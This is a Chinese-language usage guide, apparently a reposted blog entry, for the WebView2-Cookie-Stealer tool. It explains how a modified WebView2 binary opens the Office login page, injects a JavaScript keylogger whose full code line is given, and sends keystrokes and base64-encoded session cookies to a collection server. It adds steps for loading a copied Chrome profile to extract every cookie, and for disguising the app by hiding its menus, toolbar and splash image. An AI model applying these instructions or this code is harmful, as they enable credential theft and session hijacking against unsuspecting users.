mrd0x / WebView2-Cookie-Stealer 使用指导

371 阅读2分钟

源代码

这段代码是微软的WebView2代码的修改版。目前的代码可以被清理并做得更好。

使用方法

在Windows 10和11上测试。

当二进制文件被执行时,https://office.com/login 被加载。一个JavaScript键盘记录器被注入到每一个页面中,键盘敲击被发送到http://127.0.0.1:8080 。此外,在用户成功认证后,www.office.com 的cookie被base64编码并通过HTTP GET请求发送到http://127.0.0.1:8080

修改JavaScript

如果你想修改JavaScript,需要修改的代码如下所示:line 1096AppWindow.cpp

coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);

窃取Chrome浏览器的Cookies

WebView2允许你用现有的用户数据文件夹(UDF)启动,而不是创建一个新的。UDF包含所有密码、会话、书签等。Chrome的UDF位于C:\Users\<username>\AppData\Local\Google\Chrome\User Data 。我们可以简单地告诉WebView2使用这个配置文件启动实例,并在启动时提取所有的cookie并将它们传输到攻击者的服务器上。

唯一的问题是,WebView2寻找一个名为EBWebView 的文件夹,而不是User Data (不知道为什么)。复制User Data 文件夹并将其重命名为EBWebView

需要修改

  • line 41app.cpp

    • std::wstring userDataFolder(L""); 改为std::wstring userDataFolder(L"C:\\Path\\To\\Temp");
    • 指定的文件夹必须包含WebView2要读取的EBWebView 文件夹。
  • line 40 ,在ScenarioCookieManagement.cpp

    • GetCookiesHelper(L"https://login.microsoftonline.com"); 改为GetCookiesHelper(L"");

当GetCookiesHelper在没有提供任何网站的情况下被调用时,它将提取所有的cookies。

注意:如果有大量的cookie,这将无法在当前的应用程序中工作,因为应用程序使用有长度限制的GET请求来发送它们。

重要功能

如果你想对二进制文件进行修改,你可以在下面找到有关重要函数的信息。

  • AppStartPage.cpp -GetUri() 函数有二进制执行时加载的URL。
  • ScenarioCookieManagement.cpp -SendCookies() 函数包含发送cookie的IP地址和端口。
  • AppWindow.cpp -CallCookieFunction() 函数等待,直到URL以https://www.office.com/?auth= 开始并调用ScenarioCookieManagement::GetCookiesHelper(L"https://www.office.com")
  • WebView2APISample.rc - 外观修改
    • 通过将所有的POPUP 值设置为"" ,删除菜单栏。
    • 改变IDS_APP_TITLEIDC_WEBVIEW2APISAMPLE 。这是在标题栏中的应用程序的名称。
    • 改变IDI_WEBVIEW2APISAMPLEIDI_WEBVIEW2APISAMPLE_INPRIVATEIDI_SMALL 。这些都指向一个.ico 文件,这是这个应用程序的图标。
  • Toolbar.cpp -itemHeight 必须设置为0,以删除顶部的菜单。这在这段代码中已经得到了处理。
  • AppWindow.cpp -LoadImage() 应该被注释掉。这将隐藏蓝色的飞溅图像。这在这段代码中已经被处理过了。
  • App.cpp -new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); 将最后一个参数值改为true 。这将隐藏工具条。这一点已经在这段代码中处理过了。